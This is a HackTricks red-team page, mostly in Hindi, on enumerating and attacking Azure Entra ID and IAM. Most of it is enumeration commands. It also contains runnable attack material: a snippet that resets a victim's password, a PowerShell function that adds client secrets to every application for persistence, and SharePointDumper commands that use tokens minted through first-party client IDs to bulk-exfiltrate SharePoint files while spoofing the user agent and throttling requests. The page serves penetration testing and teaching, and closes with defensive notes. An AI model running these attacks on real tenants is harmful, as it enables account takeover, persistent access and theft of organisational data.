Az - Entra ID (AzureAD) & Azure IAM

Tip

सीखें और अभ्यास करें AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
सीखें और अभ्यास करें GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
सीखें और अभ्यास करें Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

बुनियादी जानकारी

Azure Active Directory (Azure AD) Microsoft की क्लाउड-आधारित सेवा है जो पहचान और पहुँच प्रबंधन के लिए उपयोग होती है। यह कर्मचारियों को साइन-इन करने और संगठन के अंदर और बाहर दोनों तरह के संसाधनों — जैसे Microsoft 365, Azure portal और कई अन्य SaaS एप्लिकेशन्स — तक पहुँच प्रदान करने में मुख्य भूमिका निभाता है। Azure AD की डिज़ाइन आवश्यक पहचान सेवाओं को प्रदान करने पर केंद्रित है, विशेष रूप से authentication, authorization, and user management

Azure AD की प्रमुख विशेषताओं में multi-factor authentication और conditional access शामिल हैं, साथ ही यह अन्य Microsoft security services के साथ सहज एकीकरण भी प्रदान करता है। ये विशेषताएँ उपयोगकर्ता पहचान की सुरक्षा को काफी बढ़ाती हैं और संगठनों को उनकी एक्सेस नीतियों को प्रभावी ढंग से लागू और प्रवर्तन करने में सक्षम बनाती हैं। Microsoft के क्लाउड सर्विसेज़ इकोसिस्टम का एक मूलभूत घटक होने के नाते, Azure AD उपयोगकर्ता पहचानों के क्लाउड-आधारित प्रबंधन के लिए केंद्रीय भूमिका निभाता है।

Enumeration

कनेक्शन

az login #This will open the browser (if not use --use-device-code)
az login -u <username> -p <password> #Specify user and password
az login --identity #Use the current machine managed identity (metadata)
az login --identity -u /subscriptions/<subscriptionId>/resourcegroups/myRG/providers/Microsoft.ManagedIdentity/userAssignedIdentities/myID #Login with user managed identity

# Login as service principal
## With password
az login --service-principal -u <application ID> -p VerySecret --tenant contoso.onmicrosoft.com # Tenant can also be the tenant UUID
## With cert
az login --service-principal -u <application ID> -p ~/mycertfile.pem --tenant contoso.onmicrosoft.com

# Request access token (ARM)
az account get-access-token
# Request access token for different resource. Supported tokens: aad-graph, arm, batch, data-lake, media, ms-graph, oss-rdbms
az account get-access-token --resource-type aad-graph

# If you want to configure some defaults
az configure

# Get user logged-in already
az ad signed-in-user show

# Help
az find "vm" # Find vm commands
az vm -h # Get subdomains
az ad user list --query-examples # Get examples

जब आप किसी भी प्रोग्राम के जरिए CLI पर Azure में login करते हैं, तो आप Microsoft के एक tenant से संबंधित एक Azure Application का उपयोग कर रहे होते हैं। ये Applications, जिन जैसी आप अपने अकाउंट में बना सकते हैं, एक client id रखती हैं। आप console में दिखने वाली allowed applications lists में इन्हें सब नहीं देख पाएंगे, पर ये डिफ़ॉल्ट रूप से allowed रहते हैं

उदाहरण के लिए एक powershell script जो authenticates करती है, एक ऐसे app का उपयोग करती है जिसका client id 1950a258-227b-4e31-a9cf-717495945fc2 है। भले ही वह app console में दिखाई न दे, एक sysadmin उस application को block कर सकता है ताकि उपयोगकर्ता उन tools से access न कर सकें जो उस App के माध्यम से connect करते हैं।

हालाँकि, ऐसे other client-ids भी हैं जिनके applications आपको Azure से connect करने की अनुमति देंगे:

# The important part is the ClientId, which identifies the application to login inside Azure

$token = Invoke-Authorize -Credential $credential `
-ClientId '1dfb5f98-f363-4b0f-b63a-8d20ada1e62d' `
-Scope 'Files.Read.All openid profile Sites.Read.All User.Read email' `
-Redirect_Uri "https://graphtryit-staging.azurewebsites.net/" `
-Verbose -Debug `
-InformationAction Continue

$token = Invoke-Authorize -Credential $credential `
-ClientId '65611c08-af8c-46fc-ad20-1888eb1b70d9' `
-Scope 'openid profile Sites.Read.All User.Read email' `
-Redirect_Uri "chrome-extension://imjekgehfljppdblckcmjggcoboemlah" `
-Verbose -Debug `
-InformationAction Continue

$token = Invoke-Authorize -Credential $credential `
-ClientId 'd3ce4cf8-6810-442d-b42e-375e14710095' `
-Scope 'openid' `
-Redirect_Uri "https://graphexplorer.azurewebsites.net/" `
-Verbose -Debug `
-InformationAction Continue

टेनेंट्स

# List tenants
az account tenant list

उपयोगकर्ता

Entra ID उपयोगकर्ताओं के बारे में अधिक जानकारी के लिए देखें:

Az - Basic Information

# Enumerate users
az ad user list --output table
az ad user list --query "[].userPrincipalName"
# Get info of 1 user
az ad user show --id "test@corp.onmicrosoft.com"
# Search "admin" users
az ad user list --query "[].displayName" | findstr /i "admin"
az ad user list --query "[?contains(displayName,'admin')].displayName"
# Search attributes containing the word "password"
az ad user list | findstr /i "password" | findstr /v "null,"
# All users from Entra ID
az ad user list --query "[].{osi:onPremisesSecurityIdentifier,upn:userPrincipalName}[?osi==null]"
az ad user list --query "[?onPremisesSecurityIdentifier==null].displayName"
# All users synced from on-prem
az ad user list --query "[].{osi:onPremisesSecurityIdentifier,upn:userPrincipalName}[?osi!=null]"
az ad user list --query "[?onPremisesSecurityIdentifier!=null].displayName"
# Get groups where the user is a member
az ad user get-member-groups --id <email>
# Get roles assigned to the user in Azure (NOT in Entra ID)
az role assignment list --include-inherited --include-groups --include-classic-administrators true --assignee <email>
# Get ALL roles assigned in Azure in the current subscription (NOT in Entra ID)
az role assignment list --include-inherited --include-groups --include-classic-administrators true --all

# Get EntraID roles assigned to a user
## Get Token
export TOKEN=$(az account get-access-token --resource https://graph.microsoft.com/ --query accessToken -o tsv)
## Get users
curl -X GET "https://graph.microsoft.com/v1.0/users" \
-H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" | jq
## Get EntraID roles assigned to an user
curl -X GET "https://graph.microsoft.com/beta/rolemanagement/directory/transitiveRoleAssignments?\$count=true&\$filter=principalId%20eq%20'86b10631-ff01-4e73-a031-29e505565caa'" \
-H "Authorization: Bearer $TOKEN" \
-H "ConsistencyLevel: eventual" \
-H "Content-Type: application/json" | jq
## Get role details
curl -X GET "https://graph.microsoft.com/beta/roleManagement/directory/roleDefinitions/cf1c38e5-3621-4004-a7cb-879624dced7c" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" | jq

उपयोगकर्ता का पासवर्ड बदलें

$password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText –Force

(Get-AzureADUser -All $true | ?{$_.UserPrincipalName -eq "victim@corp.onmicrosoft.com"}).ObjectId | Set- AzureADUserPassword -Password $password –Verbose

MFA और Conditional Access Policies

हर उपयोगकर्ता के लिए MFA जोड़ना अत्यधिक अनुशंसित है, हालांकि कुछ कंपनियाँ इसे सेट नहीं करतीं या इसे Conditional Access के साथ सेट कर सकती हैं: उपयोगकर्ता को MFA आवश्यक होगा यदि वह किसी विशिष्ट स्थान, ब्राउज़र से लॉगिन करता है या कुछ शर्त। ये नीतियाँ, यदि सही तरीके से कॉन्फ़िगर नहीं की गईं तो bypasses के प्रति संवेदनशील हो सकती हैं। जाँच करें:

Az - Conditional Access Policies & MFA Bypass

समूह

Entra ID groups के बारे में अधिक जानकारी के लिए देखें:

Az - Basic Information

# Enumerate groups
az ad group list
az ad group list --query "[].[displayName]" -o table
# Get info of 1 group
az ad group show --group <group>
# Get "admin" groups
az ad group list --query "[].displayName" | findstr /i "admin"
az ad group list --query "[?contains(displayName,'admin')].displayName"
# All groups from Entra ID
az ad group list --query "[].{osi:onPremisesSecurityIdentifier,displayName:displayName,description:description}[?osi==null]"
az ad group list --query "[?onPremisesSecurityIdentifier==null].displayName"
# All groups synced from on-prem
az ad group list --query "[].{osi:onPremisesSecurityIdentifier,displayName:displayName,description:description}[?osi!=null]"
az ad group list --query "[?onPremisesSecurityIdentifier!=null].displayName"
# Get members of group
az ad group member list --group <group> --query "[].userPrincipalName" -o table
# Check if member of group
az ad group member check --group "VM Admins" --member-id <id>
# Get which groups a group is member of
az ad group get-member-groups -g "VM Admins"
# Get roles assigned to the group in Azure (NOT in Entra ID)
az role assignment list --include-groups --include-classic-administrators true --assignee <group-id>

# To get Entra ID roles assigned check how it's done with users and use a group ID

समूह में उपयोगकर्ता जोड़ें

समूह के मालिक समूह में नए उपयोगकर्ताओं को जोड़ सकते हैं

Add-AzureADGroupMember -ObjectId <group_id> -RefObjectId <user_id> -Verbose

Warning

Groups dynamic हो सकते हैं, जिसका मूलतः मतलब यह है कि यदि कोई user कुछ शर्तें पूरी करता है तो उसे एक group में जोड़ दिया जाएगा। बेशक, यदि शर्तें attributes पर आधारित हैं जिन्हें एक user नियंत्रित कर सकता है, तो वह इस फीचर का दुरुपयोग कर get inside other groups कर सकता है।
नीचे दिए पृष्ठ में देखें कि dynamic groups का दुरुपयोग कैसे किया जा सकता है:

Az - Dynamic Groups Privesc

Service Principals

Entra ID service principals के बारे में अधिक जानकारी के लिए देखें:

Az - Basic Information

# Get Service Principals
az ad sp list --all
az ad sp list --all --query "[].[displayName,appId]" -o table
# Get details of one SP
az ad sp show --id 00000000-0000-0000-0000-000000000000
# Search SP by string
az ad sp list --all --query "[?contains(displayName,'app')].displayName"
# Get owner of service principal
az ad sp owner list --id <id> --query "[].[displayName]" -o table
# Get service principals owned by the current user
az ad sp list --show-mine

# Get SPs with generated secret or certificate
az ad sp list --query '[?length(keyCredentials) > `0` || length(passwordCredentials) > `0`].[displayName, appId, keyCredentials, passwordCredentials]' -o json

Warning

Service Principal के Owner अपना password बदल सकते हैं।

प्रत्येक Enterprise App की सूची बनाएं और प्रत्येक पर client secret जोड़ने का प्रयास करें ```bash # Just call Add-AzADAppSecret Function Add-AzADAppSecret { <# .SYNOPSIS Add client secret to the applications.

.PARAMETER GraphToken Pass the Graph API Token

.EXAMPLE PS C:> Add-AzADAppSecret -GraphToken ‘eyJ0eX..’

.LINK https://docs.microsoft.com/en-us/graph/api/application-list?view=graph-rest-1.0&tabs=http https://docs.microsoft.com/en-us/graph/api/application-addpassword?view=graph-rest-1.0&tabs=http #>

[CmdletBinding()] param( [Parameter(Mandatory=$True)] [String] $GraphToken = $null )

$AppList = $null $AppPassword = $null

List All the Applications

$Params = @{ “URI” = “https://graph.microsoft.com/v1.0/applications” “Method” = “GET” “Headers” = @{ “Content-Type” = “application/json” “Authorization” = “Bearer $GraphToken” } }

try { $AppList = Invoke-RestMethod @Params -UseBasicParsing } catch { }

Add Password in the Application

if($AppList -ne $null) { [System.Collections.ArrayList]$Details = @()

foreach($App in $AppList.value) { $ID = $App.ID $psobj = New-Object PSObject

$Params = @{ “URI” = “https://graph.microsoft.com/v1.0/applications/$ID/addPassword” “Method” = “POST” “Headers” = @{ “Content-Type” = “application/json” “Authorization” = “Bearer $GraphToken” } }

$Body = @{ “passwordCredential”= @{ “displayName” = “Password” } }

try { $AppPassword = Invoke-RestMethod @Params -UseBasicParsing -Body ($Body | ConvertTo-Json) Add-Member -InputObject $psobj -NotePropertyName “Object ID” -NotePropertyValue $ID Add-Member -InputObject $psobj -NotePropertyName “App ID” -NotePropertyValue $App.appId Add-Member -InputObject $psobj -NotePropertyName “App Name” -NotePropertyValue $App.displayName Add-Member -InputObject $psobj -NotePropertyName “Key ID” -NotePropertyValue $AppPassword.keyId Add-Member -InputObject $psobj -NotePropertyName “Secret” -NotePropertyValue $AppPassword.secretText $Details.Add($psobj) | Out-Null } catch { Write-Output “Failed to add new client secret to ‘$($App.displayName)’ Application.” } } if($Details -ne $null) { Write-Output “” Write-Output “Client secret added to : “ Write-Output $Details | fl * } } else { Write-Output “Failed to Enumerate the Applications.” } }

</details>

### एप्लिकेशन

Applications के बारे में अधिक जानकारी के लिए देखें:

<a class="content_ref" href="../az-basic-information/index.html"><span class="content_ref_label">Az - Basic Information</span></a>

जब एक App बनाया जाता है, तो 3 प्रकार के Permissions दिए जाते हैं:

- **Permissions** जो **Service Principal** को दिए जाते हैं (via roles).
- **Permissions** जो **app** के पास हो सकती हैं और जिन्हें यह **behalf of the user** के तौर पर उपयोग कर सकता है.
- **API Permissions** जो app को EntraID पर permissions देती हैं बिना अन्य roles द्वारा इन permissions के अनुदान की आवश्यकता के.

{{#tabs }}
{{#tab name="az cli" }}
```bash
# List Apps
az ad app list
az ad app list --query "[].[displayName,appId]" -o table
# Get info of 1 App
az ad app show --id 00000000-0000-0000-0000-000000000000
# Search App by string
az ad app list --query "[?contains(displayName,'app')].displayName"
# Get the owner of an application
az ad app owner list --id <id> --query "[].[displayName]" -o table
# Get SPs owned by current user
az ad app list --show-mine
# Get apps with generated secret or certificate
az ad app list --query '[?length(keyCredentials) > `0` || length(passwordCredentials) > `0`].[displayName, appId, keyCredentials, passwordCredentials]' -o json
# Get Global Administrators (full access over apps)
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/1b2256f9-46c1-4fc2-a125-5b2f51bb43b7/members"
# Get Application Administrators (full access over apps)
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/1e92c3b7-2363-4826-93a6-7f7a5b53e7f9/members"
# Get Cloud Applications Administrators (full access over apps)
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/0d601d27-7b9c-476f-8134-8e7cd6744f02/members"

# Get "API Permissions" of an App
## Get the ResourceAppId
az ad app show --id "<app-id>" --query "requiredResourceAccess" --output json
## e.g.
[
{
"resourceAccess": [
{
"id": "e1fe6dd8-ba31-4d61-89e7-88639da4683d",
"type": "Scope"
},
{
"id": "d07a8cc0-3d51-4b77-b3b0-32704d1f69fa",
"type": "Role"
}
],
"resourceAppId": "00000003-0000-0000-c000-000000000000"
}
]

## For the perms of type "Scope"
az ad sp show --id <ResourceAppId> --query "oauth2PermissionScopes[?id=='<id>'].value" -o tsv
az ad sp show --id "00000003-0000-0000-c000-000000000000" --query "oauth2PermissionScopes[?id=='e1fe6dd8-ba31-4d61-89e7-88639da4683d'].value" -o tsv

## For the perms of type "Role"
az ad sp show --id <ResourceAppId> --query "appRoles[?id=='<id>'].value" -o tsv
az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
सभी एप्लिकेशन की API अनुमतियाँ खोजें और Microsoft-स्वामित्व वाली APIs को चिह्नित करें (az cli) ```bash #!/usr/bin/env bash set -euo pipefail

Known Microsoft first-party owner organization IDs.

MICROSOFT_OWNER_ORG_IDS=( “f8cdef31-a31e-4b4a-93e4-5f571e91255a” “72f988bf-86f1-41af-91ab-2d7cd011db47” )

is_microsoft_owner() { local owner=“$1” local id for id in “${MICROSOFT_OWNER_ORG_IDS[@]}”; do if [ “$owner” = “$id” ]; then return 0 fi done return 1 }

get_permission_value() { local resource_app_id=“$1” local perm_type=“$2” local perm_id=“$3” local key value key=“${resource_app_id}|${perm_type}|${perm_id}”

value=“$(awk -F ‘\t’ -v k=”$key“ ‘$1==k {print $2; exit}’ “$tmp_perm_cache”)“ if [ -n “$value” ]; then printf ‘%s\n’ “$value” return 0 fi

if [ “$perm_type” = “Scope” ]; then value=“$(az ad sp show –id “$resource_app_id” –query “oauth2PermissionScopes[?id==‘$perm_id’].value | [0]” -o tsv 2>/dev/null || true)“ elif [ “$perm_type” = “Role” ]; then value=“$(az ad sp show –id “$resource_app_id” –query “appRoles[?id==‘$perm_id’].value | [0]” -o tsv 2>/dev/null || true)“ else value=“” fi

[ -n “$value” ] || value=“UNKNOWN” printf ‘%s\t%s\n’ “$key” “$value” >> “$tmp_perm_cache” printf ‘%s\n’ “$value” }

command -v az >/dev/null 2>&1 || { echo “az CLI not found” >&2; exit 1; } command -v jq >/dev/null 2>&1 || { echo “jq not found” >&2; exit 1; } az account show >/dev/null

apps_json=“$(az ad app list –all –query ‘[?length(requiredResourceAccess) > 0].[displayName,appId,requiredResourceAccess]’ -o json)”

tmp_map=“$(mktemp)” tmp_ids=“$(mktemp)” tmp_perm_cache=“$(mktemp)” trap ‘rm -f “$tmp_map” “$tmp_ids” “$tmp_perm_cache”’ EXIT

Build unique resourceAppId values used by applications.

jq -r ‘.[][2][]?.resourceAppId’ <<<“$apps_json” | sort -u > “$tmp_ids”

Resolve resourceAppId -> owner organization + API display name.

while IFS= read -r rid; do [ -n “$rid” ] || continue sp_json=“$(az ad sp show –id “$rid” –query ‘{owner:appOwnerOrganizationId,name:displayName}’ -o json 2>/dev/null || true)“ owner=“$(jq -r ‘.owner // “UNKNOWN”’ <<<“$sp_json”)“ name=“$(jq -r ‘.name // “UNKNOWN”’ <<<“$sp_json”)“ printf ‘%s\t%s\t%s\n’ “$rid” “$owner” “$name” >> “$tmp_map” done < “$tmp_ids”

echo -e “appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tisMicrosoft\tpermissions”

Print all app API permissions and mark if the target API is Microsoft-owned.

while IFS= read -r row; do app_name=“$(jq -r ‘.[0]’ <<<”$row“)“ app_id=“$(jq -r ‘.[1]’ <<<”$row“)“

while IFS= read -r rra; do resource_app_id=“$(jq -r ‘.resourceAppId’ <<<”$rra“)“ map_line=“$(awk -F ‘\t’ -v id=”$resource_app_id“ ‘$1==id {print; exit}’ “$tmp_map”)“ owner_org=“$(awk -F’\t’ ‘{print $2}’ <<<”$map_line“)“ resource_name=“$(awk -F’\t’ ‘{print $3}’ <<<”$map_line“)“

[ -n “$owner_org” ] || owner_org=“UNKNOWN” [ -n “$resource_name” ] || resource_name=“UNKNOWN”

if is_microsoft_owner “$owner_org”; then is_ms=“true” else is_ms=“false” fi

permissions_csv=“” while IFS= read -r access; do perm_type=“$(jq -r ‘.type’ <<<”$access“)“ perm_id=“$(jq -r ‘.id’ <<<”$access“)“ perm_value=“$(get_permission_value “$resource_app_id” “$perm_type” “$perm_id”)“ perm_label=“${perm_type}:${perm_value}” if [ -z “$permissions_csv” ]; then permissions_csv=“$perm_label” else permissions_csv=“${permissions_csv},${perm_label}” fi done < <(jq -c ‘.resourceAccess[]’ <<<“$rra”)

echo -e “${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${is_ms}\t${permissions_csv}” done < <(jq -c ‘.[2][]’ <<<“$row”) done < <(jq -c ‘.[]’ <<<“$apps_json”)

</details>

{{#endtab }}

{{#tab name="Az" }}
```bash
# Get Apps
Get-AzADApplication
# Get details of one App
Get-AzADApplication -ObjectId <id>
# Get App searching by string
Get-AzADApplication | ?{$_.DisplayName -match "app"}
# Get Apps with password
Get-AzADAppCredential

{{#endtab }}

{{#tab name=“MS Graph” }}

# List Applications using Microsoft Graph PowerShell
Get-MgApplication -All

# Get application details
Get-MgApplication -ApplicationId 7861f72f-ad49-4f8c-96a9-19e6950cffe1 | Format-List *

# Search App by display name
Get-MgApplication -Filter "startswith(displayName, 'app')" | Select-Object DisplayName

# Get owner of an application
Get-MgApplicationOwner -ApplicationId <ApplicationId>

# List available commands in Microsoft Graph PowerShell
Get-Command -Module Microsoft.Graph.Applications

{{#endtab }}

{{#tab name=“Azure AD” }}

# List all registered applications
Get-AzureADApplication -All $true
# Get details of an application
Get-AzureADApplication -ObjectId <id>  | fl *
# List all the apps with an application password
Get-AzureADApplication -All $true | %{if(Get-AzureADApplicationPasswordCredential -ObjectID $_.ObjectID){$_}}
# Get owner of an application
Get-AzureADApplication -ObjectId <id> | Get-AzureADApplicationOwner |fl *

{{#endtab }} {{#endtabs }}

Warning

ऐसी app जिसके पास अनुमति AppRoleAssignment.ReadWrite है, वह अपने आप को यह role देकर escalate to Global Admin कर सकती है.
For more information check this.

Note

एक secret string जिसका application token माँगते समय अपनी identity साबित करने के लिए उपयोग करता है, वह application password होता है.
इसलिए, यदि आप यह password पा लेते हैं तो आप service principal के रूप में inside उस tenant में access कर सकते हैं.
ध्यान दें कि यह password केवल तब दिखाई देता है जब इसे generate किया जाता है (आप इसे बदल तो सकते हैं पर आप इसे फिर से प्राप्त नहीं कर सकते).
इस application का owner इसमें add a password कर सकता है (ताकि वह इसे impersonate कर सके).
इन service principals के रूप में logins not marked as risky होते हैं और इनमें won’t have MFA.

यह संभव है कि Microsoft के commonly used App IDs की सूची आप यहाँ पा सकें: https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications

Managed Identities (प्रबंधित पहचानें)

Managed Identities के बारे में अधिक जानकारी के लिए देखें:

Az - Basic Information

# List all manged identities
az identity list --output table
# With the principal ID you can continue the enumeration in service principals

Azure भूमिकाएँ

Azure भूमिकाओं के बारे में अधिक जानकारी के लिए देखें:

Az - Basic Information

# Get roles
az role definition list
# Get all assigned roles
az role assignment list --all --query "[].roleDefinitionName"
az role assignment list --all | jq '.[] | .roleDefinitionName,.scope'
# Get info of 1 role
az role definition list --name "AzureML Registry User"
# Get only custom roles
az role definition list --custom-role-only
# Get only roles assigned to the resource group indicated
az role definition list --resource-group <resource_group>
# Get only roles assigned to the indicated scope
az role definition list --scope <scope>
# Get all the principals a role is assigned to
az role assignment list --all --query "[].{principalName:principalName,principalType:principalType,scope:scope,roleDefinitionName:roleDefinitionName}[?roleDefinitionName=='<ROLE_NAME>']"
# Get all the roles assigned to a user
az role assignment list --assignee "<email>" --all --output table
# Get all the roles assigned to a user by filtering
az role assignment list --all --query "[?principalName=='admin@organizationadmin.onmicrosoft.com']" --output table
# Get deny assignments
az rest --method GET --uri "https://management.azure.com/{scope}/providers/Microsoft.Authorization/denyAssignments?api-version=2022-04-01"
## Example scope of subscription
az rest --method GET --uri "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/providers/Microsoft.Authorization/denyAssignments?api-version=2022-04-01"

Entra ID भूमिकाएँ

Azure roles के बारे में अधिक जानकारी के लिए देखें:

Az - Basic Information

# List template Entra ID roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoleTemplates"

# List enabled built-in Entra ID roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoles"

# List all Entra ID roles with their permissions (including custom roles)
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions"

# List only custom Entra ID roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions" | jq '.value[] | select(.isBuiltIn == false)'

# List all assigned Entra ID roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments"

# List members of a Entra ID roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoles/<role-id>/members"

# List Entra ID roles assigned to a user
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/users/<user-id>/memberOf/microsoft.graph.directoryRole" \
--query "value[]" \
--output json

# List Entra ID roles assigned to a group
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/groups/$GROUP_ID/memberOf/microsoft.graph.directoryRole" \
--query "value[]" \
--output json

# List Entra ID roles assigned to a service principal
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$SP_ID/memberOf/microsoft.graph.directoryRole" \
--query "value[]" \
--output json

डिवाइस

# If you know how to do this send a PR!

Warning

यदि कोई डिवाइस (VM) है और वह AzureAD joined है, तो AzureAD के उपयोगकर्ता लॉगिन कर पाएंगे
इसके अलावा, यदि लॉग इन किया हुआ उपयोगकर्ता डिवाइस का Owner है, तो वह local admin होगा।

प्रशासनिक इकाइयाँ

प्रशासनिक इकाइयों के बारे में अधिक जानकारी के लिए देखें:

Az - Basic Information

# List all administrative units
az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits"
# Get AU info
az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits/a76fd255-3e5e-405b-811b-da85c715ff53"
# Get members
az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits/a76fd255-3e5e-405b-811b-da85c715ff53/members"
# Get principals with roles over the AU
az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits/a76fd255-3e5e-405b-811b-da85c715ff53/scopedRoleMembers"

Microsoft Graph delegated SharePoint data exfiltration (SharePointDumper)

Attackers with a delegated Microsoft Graph token that includes Sites.Read.All or Sites.ReadWrite.All can enumerate sites/drives/items over Graph and then pull file contents via SharePoint pre-authentication download URLs (time-limited URLs embedding an access token). The SharePointDumper script automates the full flow (enumeration → pre-auth downloads) and emits per-request telemetry for detection testing.

उपयोगी delegated tokens प्राप्त करना

  • SharePointDumper स्वयं authenticate नहीं करता; एक access token प्रदान करें (वैकल्पिक रूप से refresh token)।
  • Pre-consented first-party clients का दुरुपयोग करके बिना किसी app को register किए Graph token mint किया जा सकता है। उदाहरण Invoke-Auth (from EntraTokenAid) invocations:
# CAE requested by default; yields long-lived (~24h) access token
Import-Module ./EntraTokenAid/EntraTokenAid.psm1
$tokens = Invoke-Auth -ClientID 'b26aadf8-566f-4478-926f-589f601d9c74' -RedirectUrl 'urn:ietf:wg:oauth:2.0:oob'  # OneDrive (FOCI TRUE)

# Other pre-consented clients
Invoke-Auth -ClientID '1fec8e78-bce4-4aaf-ab1b-5451cc387264' -RedirectUrl 'https://login.microsoftonline.com/common/oauth2/nativeclient'              # Teams (FOCI TRUE)
Invoke-Auth -ClientID 'd326c1ce-6cc6-4de2-bebc-4591e5e13ef0' -RedirectUrl 'msauth://code/ms-sharepoint-auth%3A%2F%2Fcom.microsoft.sharepoint'        # SharePoint (FOCI TRUE)
Invoke-Auth -ClientID '4765445b-32c6-49b0-83e6-1d93765276ca' -RedirectUrl 'https://scuprodprv.www.microsoft365.com/spalanding' -Origin 'https://doesnotmatter' # OfficeHome (FOCI FALSE)
Invoke-Auth -ClientID '08e18876-6177-487e-b8b5-cf950c1e598c' -RedirectUrl 'https://onedrive.cloud.microsoft/_forms/spfxsinglesignon.aspx' -Origin 'https://doesnotmatter' # SPO Web Extensibility (FOCI FALSE)

Note

FOCI TRUE क्लाइंट्स डिवाइसेज़ के बीच refresh को सपोर्ट करते हैं; FOCI FALSE क्लाइंट्स अक्सर reply URL origin validation को पूरा करने के लिए -Origin की आवश्यकता करते हैं।

SharePointDumper को enumeration + exfiltration के लिए चलाना

  • कस्टम UA / proxy / throttling के साथ Basic dump:
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -UserAgent "Not SharePointDumper" -RequestDelaySeconds 2 -Variation 3 -Proxy 'http://127.0.0.1:8080'
  • स्कोप नियंत्रण: शामिल/बहिष्कृत साइट्स या एक्सटेंशन्स और वैश्विक सीमाएँ:
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -IncludeSites 'Finance','Projects' -IncludeExtensions pdf,docx -MaxFiles 500 -MaxTotalSizeMB 100
  • पुनरारंभ रुके हुए रन (पुनः सूचीबद्ध करता है लेकिन डाउनलोड किए गए आइटम छोड़ देता है):
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -Resume -OutputFolder .\20251121_1551_MyTenant
  • HTTP 401 पर स्वचालित token refresh (EntraTokenAid लोडेड होना आवश्यक है):
Import-Module ./EntraTokenAid/EntraTokenAid.psm1
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -RefreshToken $tokens.refresh_token -RefreshClientId 'b26aadf8-566f-4478-926f-589f601d9c74'

ऑपरेशनल नोट्स:

  • Prefers CAE-enabled tokens to avoid mid-run expiry; refresh attempts are not logged in the tool’s API log.
  • Generates CSV/JSON request logs for Graph + SharePoint and redacts embedded SharePoint download tokens by default (toggleable).
  • Supports custom User-Agent, HTTP proxy, per-request delay + jitter, and Ctrl+C-safe shutdown for traffic shaping during detection/IR tests.

Entra ID Privilege Escalation

Az - EntraID Privesc

Azure Privilege Escalation

Az - Azure IAM Privesc (Authorization)

रक्षात्मक तंत्र

Privileged Identity Management (PIM)

Azure में Privileged Identity Management (PIM) अनावश्यक रूप से उपयोगकर्ताओं को अत्यधिक विशेषाधिकार दिए जाने से रोकने में मदद करता है।

PIM द्वारा प्रदान की गई मुख्य विशेषताओं में से एक यह है कि यह लगातार सक्रिय principals को भूमिका असाइन न करने की सुविधा देता है, बल्कि उन्हें एक निर्दिष्ट अवधि के लिए पात्र बनाता है (उदा. 6 महीने)। फिर, जब भी उपयोगकर्ता उस भूमिका को सक्रिय करना चाहता है, उसे उस समय की अवधि बताकर अनुरोध करना होता है जिसकी उसे आवश्यकता है (उदा. 3 घंटे)। फिर एक admin को अनुरोध को अनुमोदित करना होता है।
नोट: उपयोगकर्ता समय बढ़ाने का भी अनुरोध कर सकेगा।

इसके अलावा, PIM ईमेल भेजता है जब भी किसी को कोई privileged role असाइन किया जा रहा होता है।

जब PIM सक्षम होता है तो प्रत्येक भूमिका को कुछ आवश्यकताओं के साथ कॉन्फ़िगर करना संभव है, जैसे:

  • सक्रियण की अधिकतम अवधि (घंटों में)
  • सक्रियण पर MFA की आवश्यकता
  • सक्रियण पर Conditional Access authentication context की आवश्यकता
  • सक्रियण पर justification की आवश्यकता
  • सक्रियण पर टिकट जानकारी की आवश्यकता
  • सक्रिय करने के लिए अनुमोदन आवश्यक
  • पात्र असाइनमेंट्स के समाप्त होने का अधिकतम समय
  • उस भूमिका के साथ कुछ कार्य होने पर कब और किसे सूचनाएँ भेजनी हैं इस पर और भी बहुत सी कॉन्फ़िगरेशन

Conditional Access Policies

Check:

Az - Conditional Access Policies & MFA Bypass

Entra Identity Protection

Entra Identity Protection एक security सेवा है जो यह पता लगाने में मदद करती है कि कब कोई उपयोगकर्ता या sign-in स्वीकार करने के लिए बहुत जोखिम भरा है, और अनुमति देती है कि उस उपयोगकर्ता या sign-in प्रयास को ब्लॉक किया जाए।

यह एडमिन को इसे इस तरह कॉन्फ़िगर करने की अनुमति देता है कि जब जोखिम “Low and above”, “Medium and above” या “High” हो तो प्रयासों को ब्लॉक किया जाए। हालाँकि, डिफ़ॉल्ट रूप से यह पूरी तरह से बंद होता है:

Tip

आजकल अनुशंसा की जाती है कि इन प्रतिबंधों को Conditional Access policies के माध्यम से जोड़ा जाए जहाँ समान विकल्प कॉन्फ़िगर किए जा सकते हैं।

Entra Password Protection

